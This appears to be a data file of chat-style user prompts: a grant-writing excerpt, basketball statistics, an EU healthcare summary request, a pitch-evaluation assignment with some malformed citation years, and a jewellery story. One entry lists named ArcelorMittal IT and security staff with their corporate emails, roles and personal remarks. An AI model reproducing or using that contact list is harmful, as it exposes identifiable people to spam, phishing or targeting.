decision- maker.\nIn Canada and the USA, we have a "first-past-the-post" election system. Every candidate lines up at election time (like a horse race) in a geographical area (called a constituency, riding, or district), and only "one" candidate wins.\nBecause multiple candidates run in each constituency, the winning candidate often receives less than 50% of the vote. As an outcome of this electoral system, a legislature can win a majority of seats with less than 50% of the popular vote.\nFor example, if three candidates run in a district, "Candidate A" receives 40%, "Candidate B" receives "30%, and "Candidate C" receives 30%, Candidate A represents 100% of the riding with only 40% of the popular vote.\nGrant Tip: Be aware of who you are dealing with. For example, does your locally elected official support Greenhouse Gas (GHG) emission reduction innovation, or are they anti-climate change? Know this information when asking for a letter of reference.\n36\n\nIf your elected official is on the side of government, you can ask how they can help you meet the minister of your grant\'s department.\n43. Understand government fiscal year\nMost provincial and federal government fiscal years run from April 1 to March 31.\nWhen a government refers to "year," it almost always refers to a fiscal year. When the government plans to give you multi-year funding over 18 months, it is planning that on the government fiscal year, not yours.\nGrant Story\nI had a client win a significant government contribution over two years. However, the grant agency called them and asked if they could pay them upfront in March. The situation likely had to do with allocating capital in that fiscal year to help the department manage its books.\n44. Who signs the grant cheque: the minister\nThe most important person in the grant world is the minister of the department. The minister has the final say on big funding decisions, and they can make grant exceptions anytime.\nGrant Story\nI had a client going for a large non-profit capital grant. My client was told that grant staff place applications into two piles "Recommend" and "Not Recommend." Then the bureaucrat told them the minister would take applications from the "Not" piles if he or she wants. The lesson: know who signs the cheques.\nRemember, elected officials are held accountable for taxpayer dollars. The buck stops with them. The system is not perfect, but it is the best we got!\n37\n\n45. Enhance the minster\'s mandate\nYour grant application should enhance the minister\'s mandate. Your chances of success are going to increase when you do that dramatically!\nWhen you write the application, you should be able to see the minister at your event presenting the cheque to you and your organization.\nElevate Aviation $426,000 grant announcement. Local MP and Minister in the background. My sister Kendra is at the podium. Keep reading! Your turn next.\n46. Understand that your audience is the taxpayer\nIf your grant doesn\'t "sell" to the taxpayer, it is likely to lose. Conversely, if your grant has a significant positive impact on taxpayers\' lives, it is more likely to win.\nYour innovation or project can be complicated, so make it easy for the grant agency to understand.\n 38\n\n47. Why governments give grants\nThe easiest way for government officials to show support for something is to cut a cheque or through grants. Governments cannot possibly run every program, so grants are an excellent tool for allocating capital.\nFinally, grants work. When the government dangles free money to solve a problem, businesses put forward solutions to fix them.\n48. It\'s not about you – it is about them\nYour government got elected on a campaign platform. That platform is full of promises and commitments.\nWhether or not it wins the next election will have a lot to do with how well the government performed. If it fails on any of those fronts, you can imagine its competition will be all over them.\nLook at your governments\' commitments. You can find them on their websites. Are they committed to reducing GHG emissions? Saving water? Seniors\' Housing? Arts and Culture?\nFind out what the government wants and tailor your project to its needs. Even within government, they need to compete with other departments for funding.\nYour project should help the government tell its story. Imagine the politicians all smiling at your event with a big cheque.\n39' -"next block. just confirm receipt, don't reprint:\n\nAlbany 31 8 23 0.258 40.2 67.3 23.4 56.6 0.414 7.6 23.4 0.327 12.8 17.7 0.722 9.3 22 31.3 11.7 5.7 1.6 12.6 18.6\nWyoming 31 9 22 0.29 39.9 69.2 23.9 54.2 0.44 8.6 24.8 0.349 12.8 18 0.711 7.1 23.1 30.1 11.1 4.8 2.5 11.7 15.7\nSaint Louis 33 21 12 0.636 39.9 75.5 27.9 59.7 0.468 7 19.5 0.357 12.8 17.5 0.731 9.3 26.7 36 16.4 5 4 11.7 16.9\nBoise State 33 24 9 0.727 40.2 72.2 25.8 56.8 0.455 7.8 21.5 0.365 12.8 17.4 0.735 8.1 26 34.1 11.2 5.1 2.9 10.9 16.3\nMichigan 32 17 15 0.531 40.8 73.1 26.3 58.9 0.447 7.7 22.2 0.346 12.8 18.1 0.703 8.2 26.7 34.9 12.2 4.8 4.7 10 15.5\nNorth Alabama 32 18 14 0.563 40.4 74.9 27.3 58.8 0.463 7.7 20.6 0.372 12.7 17.9 0.712 7.5 24.5 32 11.6 5.8 3 10.8 16.8\nPennsylvania 30 17 13 0.567 40.6 75 27.1 58.3 0.464 8.1 22.6 0.36 12.7 17.1 0.741 9.3 26.9 36.2 14.8 5.5 3.2 12.6 18.1\nMississippi State 33 21 12 0.636 40.5 65.9 24 56.8 0.423 5.2 19.6 0.266 12.7 19.6 0.648 12.3 24 36.3 14.2 8.8 3.4 12.3 15.1\nCreighton 33 21 12 0.636 40.2 76.6 27.5 58.9 0.467 8.9 24.8 0.36 12.7 16.5 0.767 7.8 27.6 35.3 15.9 5.2 4.2 11.3 13.2\nSt. John's 33 18 15 0.545 40.5 77.3 29.4 65.4 0.449 5.8 17.7 0.33 12.7 18.2 0.699 12.1 26.3 38.4 15.2 8.3 3.7 13.6 16.2\nWichita State 32 17 15 0.531 40.6 71 25.8 57.5 0.45 6.6 21.4 0.309 12.7 17.7 0.716 8.6 25.6 34.2 13.3 6.3 4 12.3 14.9\nFlorida State 32 9 23 0.281 39.8 69.3 25.1 57.5 0.436 6.5 19.8 0.33 12.7 17.5 0.726 7.8 21.8 29.7 13.4 6.2 3.9 11.8 16.2\nCornell 28 17 11 0.607 40.1 81.7 29.1 62.1 0.47 10.7 30.4 0.353 12.7 17.5 0.724 9.1 22.8 31.9 17.5 9.7 2.3 12.1 16.6\nKansas 34 27 7 0.794 40 74.9 27.6 59.4 0.466 7 20.3 0.344 12.7 17.7 0.717 8.8 25.2 34 16.4 8.8 3.8 12.2 16.6\nDrake 34 27 7 0.794 40.8 75.3 27.4 58.1 0.47 8 21.4 0.373 12.6 16.4 0.769 7.4 26.6 34.1 13.6 5.4 2.6 10.1 14.8\nOhio 33 19 14 0.576 39.9 78.8 28.6 62.5 0.458 8.9 24 0.373 12.6 17.3 0.73 11.3 24.1 35.4 12.5 6.7 2.2 11.1 17.7\nGeorgetown 32 7 25 0.219 40.1 69.5 25.6 60.4 0.423 5.8 18.7 0.309 12.6 17.6 0.718 10 24.1 34.1 11.9 6.2 4.6 12 14.4\nFairleigh Dickinson 34 19 15 0.559 40.4 77.8 28.6 62.7 0.455 8.1 23.4 0.346 12.6 16.9 0.745 10.6 21.6 32.1 15 8 1.9 11.3 19\nMorgan State 31 15 16 0.484 40.5 74.9 27.8 61.6 0.452 6.6 18 0.369 12.6 18.3 0.688 10.5 21.9 32.4 15.5 9.8 4.5 15.8 20.9\nJacksonville State 31 13 18 0.419 40.1 69.9 24.1 55 0.438 9.1 24.1 0.377 12.6 18 0.699 9.1 24.4 33.5 12.3 5.5 2.4 12.9 16.5\nOregon 33 19 14 0.576 39.9 70.7 25.5 56.8 0.449 7.1 22.2 0.319 12.6 17.7 0.709 10.2 24.8 35 13.2 5.7 4.8 11.9 14.8" -'Kris Kupilas kris.kupilas@arcelormittal.com R&D Digital Transformation Lead UK ArcelorMittal International Luxembourg S.A. \nDaniel Castano daniel.castano@arcelormittal.com IT Infrastructure Lead at ArcelorMittal (Prev. Digital Workplace Mgr) LUXEMBOURG ArcelorMittal International Luxembourg S.A. \nAnderson Peter Morelato anderson.petermorelato@arcelormittal.com CTO USA ArcelorMittal USA LLC Scope : North America \nBenoit Fagneray benoit.fagneray@arcelormittal.com IT Director LUXEMBOURG ArcelorMittal International Luxembourg S.A. \nRoy Braad roy.braad@arcelormittal.com Support Manager - IT Security Officer GERMANY ArcelorMittal Bremen GmbH Scope: Part of the central IT for FCE delivering support and projects and responsible for the End user, Network, Security & Compliance in the Office environment for the Bremen Site. \nPrayag Pal prayag.pal@arcelormittal.com Enterprise Infrastructure Architect UNITED ARAB EMIRATES ArcelorMittal DSTC FZE (Dubai) \nDidier Rubiolo didier.rubiolo@arcelormittal.com Head of IT transformation - India program manager LUXEMBOURG ArcelorMittal International Luxembourg S.A. "Scope : For Flat Europe product segment\n- Drive the IT transformation program in tight interaction with IT domain and cluster head.\n- Monitor change management with teams and HR.\n- Drive the creation and development of the India competence center" \nCarlos Alba carlos.alba@arcelormittal.com Global R&D - Chief Digital Officer SPAIN ArcelorMittal International Luxembourg S.A. Scope : Corporate \nGuido Alexander Gora guido.alexandergora@arcelormittal.com Head of IT GERMANY ArcelorMittal Duisburg GmbH \nSofyen Gorsane sofyen.gorsane@arcelormittal.com Digital & Cloud IT Lead LUXEMBOURG ArcelorMittal International Luxembourg S.A. \nPeter Depoorter peter.depoorter@arcelormittal.com Security Officer (Freelance) BELGIUM ArcelorMittal International Luxembourg S.A. "- Defining a security strategy with particular attention to industrial environments\n- Assisting in reaching compliance requirements for data security (GDPR)\n- Implementing the security governance norm chosen by the Arcelormittal group (NIST)\n- Technical lead on security monitoring, network segmentation, access management, …\n- Building awareness trainings on several security topics\n- Create reports based on vulnerability scans (Nessus)\n- Assisting IT support teams on security incidents" \nIgor Lepretre igor.lepretre@arcelormittal.com Flat Carbon Europe Remote IT Infrastructure Management Center Lead LUXEMBOURG ArcelorMittal International Luxembourg S.A. In charge of building (internal technical architects) and running (Third Party Contracts in Spain) the solutions (End User Computing, Network, Midrange) deployed on the entire Flat Carbon Europe perimeter \nCarlos Lacasa Sanchez carlos.lacasasanchez@arcelormittal.com Head of Cybersecurity and IT/OT Infrastructures SPAIN ArcelorMittal España S.A. \nDmytro Smirnov dmytro.smirnov@arcelormittal.com Digital Workplace LUXEMBOURG ArcelorMittal International Luxembourg S.A. \nMarco Billant marc.billant@arcelormittal.com CIO FRANCE ArcelorMittal International Luxembourg S.A. Retired? \nBob Dabkowski robert.dabkowski@arcelormittal.com IT Infrastructure Manager USA ArcelorMittal USA LLC \nErwin Klomp erwin.klomp@arcelormittal.com IT Manager NETHERLANDS ArcelorMittal Projects Europe https://projects.arcelormittal.com/ \nPaul Anthony Stevens paul.anthonysteves@arcelormittal.com Head of Compliance Europe LUXEMBOURG ArcelorMittal International Luxembourg S.A. \nLuc-Andre Lavoie luc-andre.lavoie@arcelormittal.com Director Transformation Office (TO) CANADA ArcelorMittal Long Products Canada G.P. \nKoen Janssens koen.janssens@arcelormittal.com IT/OT Lead West Europe BELGIUM ArcelorMittal Belgium N.V. Scope : ArcelorMittal Downstream Solutions (Information Technology and Operating Technology Lead for ArcelorMittal Downstream Solutions West Europe) \nStanislav Nabok Stanislav.Nabok@arcelormittal.com IT Security Manager – PJSC ArcelorMittal Kryviy Rih UKRAINE PJSC ArcelorMittal Kryvyi Rih Scope : Corporate ? (IT Security and Compliance, SOx\\ITGC Compliance, Risk Management, Vulnerability Management, User Awareness, IT Continuity Planning) \nAlok Tyagi alokkumar.tyagi@arcelormittal.com IT Manager - Infrastructure Service Delivery LUXEMBOURG Arcelor Mittal International Luxembourg S.A. Scope: Collaboration at corporate and group level. Teams, videoconferencing \nKonstyantin Telychko kostyantyn.telychko@arcelormittal.com IT Expert - Group IT and infrastructure LUXEMBOURG Arcelor Mittal International Luxembourg S.A. Reports to Alok Tyagi. Scope: Technical validation of solutions and providers on collaboration projects. \nAhmad Abulhadi ahmad.abdulhadi@arcelormittal.com IT Expert - Support to BU and segments LUXEMBOURG Arcelor Mittal International Luxembourg S.A. Reports to Alok Tyagi. Scope: Collaboration and remote office. Identifies and follow projects for local BU\'s-Entities. \nRichard Vigneron richard.vigneron@arcelormittal.com Head of Fcility Management and Multimedia LUXEMBOURG Arcelor Mittal International Luxembourg S.A. "Almost retired.\n" \nMarc De Vos marc.devos@arcelormittal.com Responsible Network and Telecom Gent - Industrial IT, Automation and models BELGIUM ArcelorMittal Gent - Flat Carbon \nDominique Sauvage Dominique.Sauvage@arcelormittal.com CIO - ArcelorMittal AMDS - Europe BELGIUM ArcelorMittal Industeel \nSacha Ciszewicz Sacha.Ciszewicz@arcelormittal.com Project Manager - Group IT LUXEMBOURG Arcelor Mittal International Luxembourg S.A. Involved on Cloud project - IAAS \nBastien Caspani bastien.caspani@arcelormittal.com Research Engineer France \nThomas Hilbert thomas.hilbert@arcelormittal.com R&D Engineer (electronics - computer sciences) France \nSalvatore Vetro salvatore.vetro@arcelormittal.com Manufacturing intelligence at ArcelorMittal Belval and Differdange Luxembourg \nStéphane Sanchez stephane.sanchez@arcelormittal.com Research engineer (industry 4.0, digitization, AI) France \nDominique Drouot dominique.drouot@arcelormittal.com IT Manager France \nJose Ramon Rio Blanco joseramon.rio@arcelormittal.com Senior software Engineer - Software architect Spain \nO B Jayan ob.jayan@arcelormittal.com Executive assitant to Chairman UK ArcelorMittal HQ London \nBertrand Schmitt bertrand.schmitt@arcelormittal.com CIO & CDO France \nJean-Marc Talloen E jeanmarc.talloen@arcelormittal.com Coordinator Industrial Server Infrastructure - Automation and models Belgium ArcelorMittal Gent \nBhushan Deshpande bhushan.deshpande@amns.in CIO India ArcelorMittal - Nippon Steel India \nGouri Inamdar gouri.inamdar@amns.in IT head India ArcelorMittal - Nippon Steel India \nParag Jain parag.jain@amns.in Digital Lead India ArcelorMittal - Nippon Steel India \nMaheep Mathur maheep.mathur@arcelormittal.com Digital Team Member India ArcelorMittal - Nippon Steel India \nSandeep Shah sandeep.shah@amns.in Deputy General Manager INDIA Arcelor Mittal Nippon Steel IT Procurement \nAmit Gaikwad amit.gaikwad@arcelormittal.com Procurement Lead INDIA ArcelorMittal Ventures Pvt. Ltd. IT Procurement \nSteven De Roo steven.deroo@arcelormittal.com 5G Gent Belgium \nNisarg Trivedi nisarg.trivedi@amns.in Senior Consultant India ArcelorMittal - Nippon Steel India \n rosa.castellano@arcelormittal.com \nadler.teixeira@arcelormittal.com adler.teixeira@arcelormittal.com Cybersec' -'summarize the following:\n\nThe Drivers of a European Healthcare Union in the Making: The Dynamics of law and Politics\nThe European healthcare union has emerged and evolved despite member states insisting that the organization of welfare should primarily remain a national responsibility (Ferrera, 2005; Leibfried, 2010). This evolution concerns the classic question of European integration. Which driving dynamics have been at play and explain the emerging features of a European healthcare union? Research on EU healthcare integration indicates different dynamics and institutions in explaining the emerging field. One line of research focuses on crises- or problem-driven dynamics where the outbreak of communicable diseases, such as AIDS or the BSE crisis, or shared public health problems, such as obesity, have pushed for European solutions. In this expansion of Union involvement, the European Commission is presented as a successful entrepreneur that seized the window of opportunity and expanded EU power and provisions (Lamping and Steffen, 2009; Kurzer and Cooper, 2011; Steffen, 2012; Greer and Löblová, 2016, this volume). Confirming the neo- functionalist focus on the stimulating role of non-state actors, the DG SANTE is presented here as a key institution that accepted political leadership and ensured EU involvement in public health. Similarly, the influence of other non-state actors, such as professional medical networks, have been noted (Trubek et al, 2009).\nIn recent decades, the politicized issue of identity has begun to overshadow problem-solving as a key motive in discussions on European integration (Hooghe and Marks, 2009). The greater public is also no longer indifferent to what (supranational) elites have decided. The era of permissive consensus has thus come to an end. Greer and Löblová couple neo-functional spill-over dynamics with Kingdon’s multiple streams approach to identify the impact of politicization and dissensus. In the two processes of agenda-setting that they examine, Greer and Löblová cannot identify the constraining dissensus of politics as presented by Hooghe and Marks (2009), but they note that political dissensus may still apply in the decision making phase of integration. The neo-functionalist explanations above primarily concern issues of public health; these issues involve less reluctance among governments and the greater public concerning integration. The financing and organizing of healthcare may be a different story, however. Kingdon’s multiple streams approach, or variations of it, can still be helpful to explain whether a European healthcare union may yet emerge in the organized chaos of the EU despite a Eurosceptic mood (see also Vollaard and Martinsen, 2014; Baeten and Vanhercke, 2016).\nAs noted above, the CJEU has played an important role in the integration of cross- border healthcare. The CJEU has constituted a major motivation for the making of EU health law. Hervey (2016) argues that when we can explain how EU health law emerged as a field, we must examine how and by whom the law was narrated. Hervey notes that narration is the core to the evolving EU health regulation, which is a process through which principles, content and themes are discerned and articulated. For the emerging EU healthcare law, three main groups have been involved, namely, the legislature, the courts and the academy. The national courts and the CJEU have been key actors in deciding the content and scope of the narration, but they have been joined by the national and EU legislatures and to a lesser extent, the academy. Each set of actors have their own interpretation of what constitutes the meaning of law, and they do not always agree. Especially the legislatures have insisted on ‘objective public interest’ to be part of the narration to protect the organization and capacity of national health care systems. The emphasis on ‘objective public interest’ has increasingly been recognized by the CJEU. The narration of EU healthcare law is thus also a process through which both the scope and the limits of EU regulation are defined. The narration of EU healthcare law is not a linear line of progression towards more EU regulation. In addition, the application of the narration and its implementa- tion and impact is not a given or automatic but depends on its clarity, that is, which Hervey terms ‘structural coherence’.\nLegal integration is also the focus of another line of research, in particular the field of cross-border healthcare (Martinsen, 2005; Greer, 2006). Here the litigants, courts and particularly the CJEU come to the forefront and explain the expansion of EU competences. The CJEU applied internal market principles to the healthcare area, and for almost a decade, progressive legal interpretations were able to advance what politics could or would not. However, the political reluctance towards any EU intrusion into national healthcare systems left its mark on both CJEU case law and its implementation. The integration process of Union cross-border healthcare details the dynamics of law and politics as they unfolded over time. Concerning the law, CJEU case law intervened in a highly sensitive political field. The CJEU likely did not anticipate the strong reactions against its legal moves. As noted by Greer and Jarman (2012), the Court probably did not know much concerning the substance of healthcare or did not give much consideration to the impact of and responses to entering a ‘complex, politically difficult and very expensive area’ (p. 267). Regarding politics, healthcare ministers first strongly opposed CJEU intervention in the policy field but were soon unable to agree on a political response to legal integration. The member states waited for the Commission to take the initiative, but the Commission responded with ‘deafening silence’ (Palm et al, 2000, p. 78). Apparently, the European executive was crippled with internal disagreements between its Commissioners and DGs, and the European Parliament warned the Commission of the political defeat that it would suffer if it did not establish the appropriate balance among the principles of the internal market through subsidiarity (Martinsen, 2015, pp. 147–148).\nMeanwhile, the European Court continued to develop its interpretations on cross- border healthcare. As the rulings developed, their scope was gradually clarified. On the one hand, the Court applied its reasoning to all healthcare systems. On the other hand, the CJEU also established that deviations from the free movement principles were justifiable under certain conditions, thus ‘fine-tuning’ its jurispru- dence (Obermaier, 2009; De Ruijter, 2015, p. 228). In July 2008, the Commission could finally present its proposal on patients’ rights in cross-border healthcare. It was clear from early on that a majority of politicians in the Council and the European Parliament wanted to maintain national control over a large scope of healthcare treatments through prior authorization. The adopted version of the Directive thus came to modify the impact of the Court’s jurisprudence because it allowed for the use of prior authorization for not only hospital care but also highly specialized and expensive outpatient care – as defined by the member states. The Commission was highly unsatisfied with this political development and found that the extensive use of prior authorization in fact departed from the case law of the Court (Martinsen, 2015, pp. 171–172).\nAt the same time, the CJEU, however, has taken a more ‘tempered’ approach and apparently adapted its behaviour to the European legislator (Hatzopoulos and Hervey, 2013). Even during the decision-making process between the Council and the European Parliament, the CJEU adapted its reasoning concerning an extended use of prior authorization (Baeten and Palm, 2013, p. 394).3 The law and politics dynamics that were involved in constructing the emerging healthcare Union thus demonstrate that legal integration was highly important from the outset, but the CJEU did not do it alone. The course of legal integration was occasionally modified and proved responsive to political positions. The CJEU did not need to adapt its position because its previous rulings were based on primary law, which from a formal point of view, can only be overridden through a Treaty amendment. Therefore, the adaptive behaviour of the Court is even more noteworthy, as observed by Hervey and McHale (2015): ‘[t]he CJEU is not, of course, obliged to follow the legislature where it interprets Treaty provisions such as Article 56 TFEU, but in practice it usually does so’ (p. 91). This implies a more fine-grained relation between law and politics than a simple neo-functionalist reading would suggest. This relation is where European politics plays a decisive role and where the Court is not politically blind but even looks for ‘political guidance’ on how to apply more open Treaty provisions (Baeten and Palm, 2013, p. 394).\nThe relation between law and politics is not only dynamic at the law-making stage. As illustrated in the three contributions concerning the implementation of CJEU case law and the patients’ rights directive, the healthcare union also consists of tensions and contradictions between the rules that emerge at the ‘federal’ level and how they are responded to at the national level. Moreover, the dynamic between law and politics plays out rather differently across and within member states because national courts and national governments vary in their application of EU law.\nTo conclude, the contributions of this volume demonstrate that the emerging healthcare Union is a co-operative system that combines self-rule and shared rule (Vollaard et al, 2015). A large part of healthcare is still organized by the member states, and the impact of the shared rule depends on its national implementation. At the same time, the two levels are intertwined, with overlapping competences through continuous interaction and disputes, and they attempt to settle the division of labour and define the line between shared rule and self-rule. The contributions of this volume present a broader set of actors, institutions and dynamics in the making of a European healthcare union than what arises from the interactions among an entrepreneurial Commission, a dynamic Court and reluctant national politicians suggest. This volume notes that the dynamics differ depending on where we are in the policy-making process and which sub-area of healthcare we investigate. Together, the different pieces substantiate that when examining the emergence, content and outreach of a policy field, the way is long and winding from policy idea through politics to output.\nAlthough fragile, a European healthcare union is in the making. Healthcare can be produced, consumed and provided across the internal borders of the EU. A distinct field of law and set of institutions co-regulate healthcare, whereas common values, rights and principles have been agreed on. Certainly, national healthcare systems have not been fully integrated into a single European healthcare system. In addition, other policy actors and principles still leave their mark on EU involvement in healthcare policies. Moreover, in practice, compliance with EU legislation and case law on patient mobility remains rather variegated across and within member states. However, the EU has become an extra, although thin, primary regulatory layer in organizing, financing and providing healthcare (Vollaard et al, 2015).' -'Use the pitch to complete the assignment. The details are below:\n\nLength: 1500 words\n\nYou will act as a member of the panel of investors to evaluate one of the venture pitches presented, called Helpmates. In your report, you will rate and provide a rationale for your rating of the new venture pitch. You will assess whether the new venture is a good investment opportunity (e.g., how favorable the business context, the attractiveness of the opportunity, the strength of the new venture team) and provide recommendations for the new venture (e.g. key strengths, key weaknesses and additional information or revisions). Your evaluation should be informed by the principles, concepts and frameworks provided below:\n• Gartner. (1988). “Who Is an Entrepreneur?” Is the Wrong Question. Entrepreneurship Theory and Practice, 12(4), 11–32. https://doi.org/10.1177/104225878801200401\n• Volery, & Mueller, S. (2018). Managing paradoxes and tensions: A key element of entrepreneurs’ leadership behaviour. In Volery & S. Mueller, Research Handbook on Entrepreneurship and Leadership (pp. 133–155).\n• Dyer, Gregersen, H. B., & Christensen, C. M. (2009). The innovator’s DNA. Harvard Business Review, 87(12), 60–128.\n• Kuratko, Morris, M. H., & Schindehutte, M. (2015). Understanding the dynamics of entrepreneurship through framework approaches. Small Business Economics, 45(1), 1–13. https://doi.org/10.1007/s11187-015-9627-3\n• Eisenman. (1001). Entrepreneurship: A Working Definition. Harvard Business Revie. https://hbr.org/2013/01/what-is-entrepreneurship\n• Zhao, & Seibert, S. E. (2006). The Big Five Personality Dimensions and Entrepreneurial Status: A Meta-Analytical Review. Journal of Applied Psychology, 91(2), 259–271. https://doi.org/10.1037/0021-9010.91.2.259\n• Markman, & Baron, R. A. (2003). Person–entrepreneurship fit: why some people are more successful as entrepreneurs than others. Human Resource Management Review, 13(2), 281–301. https://doi.org/10.1016/S1053-4822(03)00018-4\n• Claire, Lefebvre, V., & Ronteau, S. (2020). Entrepreneurship as practice: systematic literature review of a nascent field. Entrepreneurship and Regional Development, 32(3-4), 281–312. https://doi.org/10.1080/08985626.2019.1641975\n• Review, Brown, T., Christensen, C. M., Nooyi, I., & Govindarajan, V. (2020). HBR’s 10 Must Reads on Design Thinking (with featured article “Design Thinking” By Tim Brown). Harvard Business Review Press.\n• Brown, & Wyatt, J. (2010). DESIGN THINKING FOR SOCIAL INNOVATION. Stanford Social Innovation Review, 8(1), 31–.\n• Review, Blank, S., Andreessen, M., Hoffman, R., & Sahlman, W. A. (2018). HBR’s 10 Must Reads on Entrepreneurship and Startups (featuring Bonus Article “Why the Lean Startup Changes Everything” by Steve Blank). Harvard Business Review Press.\n• Review, Christensen, C. M., Johnson, M. W., McGrath, R. G., & Blank, S. (2019). Article: “Reinventing Your Business Model” by Mark W. Johnson, Clayton M. Christensen, and Henning Kagermann (Article featured in HBR’s 10 Must Reads on Business Model Innovation). Harvard Business Review Press.\n• McMullen, & Shepherd, D. A. (2006). Entrepreneurial Action and the Role of Uncertainty in the Theory of the Entrepreneur. The Academy of Management Review, 31(1), 132–152. https://doi.org/10.5465/AMR.2006.19379628\n• Byrnes. (2520). How to create a winning post-pandemic business model. Harvard Business Review.\n• Ulwick. (2002). Turn customer input into innovation. Harvard Business Review, 80(1), 91–97.\n• Taneja. (8201). Building a startup that will last. Harvard Business Review, 2–6. https://hbr.org/2019/07/building-a-startup-that-will-last\n• Gans, Scott, E. L., & Stern, S. (2018). Strategy for start-ups. Harvard Business Review, 96(3), 44–.\n• Garvin, & Levesque, L. C. (2006). Meeting the challenge of corporate entrepreneurship. Harvard Business Review, 84(10), 102–150.\n• Binns, Harreld, J. B., O’reilly III, C., & Tushman, M. L. (2014). The art of strategic renewal. MIT Sloan Management Review, 55(2), 21–23.\n• Sawhney, Wolcott, R. C., & Arroniz, I. (2006). The 12 different ways for companies to innovate. MIT Sloan Management Review, 47(3), 75–81.\n• Aldrich, & Fiol, C. M. (1994). Fools Rush in? The Institutional Context of Industry Creation. The Academy of Management Review, 19(4), 645–670. https://doi.org/10.2307/258740\n• Moroz, & Hindle, K. (2012). Entrepreneurship as a Process: Toward Harmonizing Multiple Perspectives. Entrepreneurship Theory and Practice, 36(4), 781–818. https://doi.org/10.1111/j.1540-6520.2011.00452.x\n• Liabilities of newness and size\n\nHow should you write the report?\nFor your assignment, you must use the template below:\nA. RATE EACH CRITERIA (not included in word count) - 1 (Weak), 2 (Neutral), 3 (Strong), DK (Don’t Know), NA (Not applicable):\n1. Context Evaluation:\n• Favorable regulatory/societal context and trends \n• Favorable window of opportunity \n2. Market Evaluation:\n• Attractive market \n• Clear customer needs \n• Value of offering to customers who are willing to pay \n3. Industry Evaluation:\n• Favorable competitive dynamics \n• Available suppliers and partners \n4. Economics Evaluation:\n• Financial strength of the opportunity \n• Potential for growth in the future \n5. Presentation Evaluation:\n• Personal passion \n• Clear and compelling \n• Realistic \n• Ability to implement \nB. STRENGTHS AND WEAKNESSES OF THE PITCH:\nUse the criteria you rated above to explain the strengths and weaknesses of the pitch by providing a rationale for your rating.\n1. What are the key strengths of the Pitch?\n2. What are the key weaknesses of the Pitch?\nC. OUTCOME AND RECOMMENDATIONS:\nChoose one of the three outcomes reported below for the Pitch: \n(A) Invite to submit the business plan \n(B) Invite to revise and then submit the business plan\n(C) Do not invite to submit the business plan\nProvide your conclusions and recommendations ONLY for the section below associated with the chosen outcome.\nIf you chose A “Invite to submit business plan”:\n1. What are the key reasons you accepted the Pitch?\n2. What recommendations would you give to the founders?\nIf you chose B “Invite to revise before submitting business plan”:\n1. What additional information or revisions would you like the founders to add before submitting the Business Plan?\n2. What recommendations would you give to the founders?\nIf you chose C “Do not invite to submit business plan”:\n1. What are the key reasons you rejected the Pitch?\n2. What recommendations would you give to the founders?\n\nThe word count for this assignment is 1500 words (excluding section A), which includes the template wording and in-text references but excludes the Reference List.\nYou must use at least eight of the list of resources provided to support your evaluation.\n\nWhat are the grading criteria?\n• 50%: Quality of analysis of the key strengths and weaknesses of the Pitch. Uses course content (e.g., theory, concepts, practices, processes, tools, guest lectures) to evaluate the new venture and its strategy discussing the limits and potential of the opportunity.\n• 25%: Outcome and recommendations. The conclusions on accepting (or not accepting) the Pitch and the relevant recommendations are evidence-based and conceptually robust.\n• 25%: Clarity of expression and conformity with instructions. Provide a deliverable of professional quality; each section of the document contributes to the composition of a cohesive report; conforms with instructions (word limit, referencing).' -'combine all of the descriptor prompts into a story\n\n "ornate primordial ethereal celestial gems embellished fractal jewelry encrusted cosmic luxury\n\nornate primordial ethereal celestial gems, intricately crafted and adorned with delicate fractal patterns, encrusted with sparkling cosmic luxury, creating a truly breathtaking and otherworldly display of opulence and grandeur.\n\nAs you gaze upon the breathtaking display before you, you are struck by the sheer beauty and grandeur of the ornate primordial ethereal celestial gems that adorn the intricate fractal jewelry. Each gem seems to radiate with an otherworldly light, as if containing within it the secrets of the universe. The gems are encrusted with sparkling cosmic luxury, adding to their ethereal beauty and giving the impression of a treasure from another world. The overall effect is one of opulence and splendor, leaving you in awe of the incredible craftsmanship and artistry on display.\nAs you step into the grand hall, your eyes are immediately drawn to the mesmerizing display of ornate primordial ethereal celestial gems that adorn the walls and pillars. Each gem seems to contain within it the essence of the universe, radiating an otherworldly light that fills the room with a soft, ethereal glow. The gems are embellished with intricate fractal patterns, adding to their beauty and complexity. The jewelry that encases the gems is crafted with expert precision, encrusted with sparkling cosmic luxury that shimmers in the light. The overall effect is one of opulent splendor, creating a truly breathtaking and otherworldly experience. You can\'t help but feel a sense of awe and wonder as you take in the incredible beauty and luxury of the ornate primordial ethereal celestial gems.\n\n\nAs you step into the lavish fashion show, you are immediately struck by the stunning display of ornate primordial ethereal celestial gems that adorn the haute couture garments on the runway. Each gem seems to contain within it the secrets of the universe, glowing with an otherworldly light that is both captivating and alluring. The gems are intricately crafted and embellished with delicate fractal patterns, adding to their already impressive beauty and complexity. The jewelry that encases the gems is crafted with expert precision, encrusted with sparkling cosmic luxury that shimmers and sparkles in the bright runway lights. The overall effect is one of opulent splendor and otherworldly elegance, creating a truly breathtaking and unforgettable experience. You can\'t help but feel a sense of awe and wonder as you take in the incredible beauty and luxury of the ornate primordial ethereal celestial gems.\nOrnate: elaborate, decorative, fancy, extravagant\nPrimordial: ancient, original, primeval, primal\nEthereal: otherworldly, celestial, sublime, spiritual\nCelestial: heavenly, divine, celestial, supernatural\nGems: jewels, precious stones, diamonds, crystals\nEmbellished: decorated, adorned, enhanced, bedecked\nFractal: complex, intricate, detailed, ornate\nJewelry: adornments, ornaments, trinkets, baubles\nEncrusted: covered, studded, decorated, embellished\nCosmic: universal, astronomical, galactic, celestial\nLuxury: opulence, extravagance, grandeur, splendor\nHaute couture: high fashion, designer clothing, luxury fashion, bespoke fashion\nAs you enter the grand hall, your eyes are immediately drawn to the elaborate display of ancient, otherworldly celestial jewels that adorn the intricate, ornate jewelry on display. Each precious stone seems to contain within it the secrets of the universe, radiating with a sublime, spiritual light that fills the room with a soft, ethereal glow. The gems are delicately crafted and adorned with complex, detailed fractal patterns, adding to their already impressive beauty and complexity. The ornaments that encase the gems are crafted with expert precision, studded with sparkling universal luxury that shimmers and sparkles in the light. The overall effect is one of opulent splendor and celestial elegance, creating a truly breathtaking and unforgettable experience. You can\'t help but feel a sense of awe and wonder as you take in the incredible beauty and luxury of the ancient, otherworldly celestial jewels.\nIn the grand hall of luxury and splendor,\nWhere haute couture garments grace the floor,\nOur eyes are drawn to the ethereal glow\nOf ornate primordial celestial gems.\n\nWith each gem, a universe unfolds,\nMysteries and secrets to behold,\nEmbellished with intricate fractal art,\nA cosmic beauty that sets us apart.\n\nEncrusted in sparkling luxury,\nA treasure from another world, it seems,\nWe are awed by their grandeur and 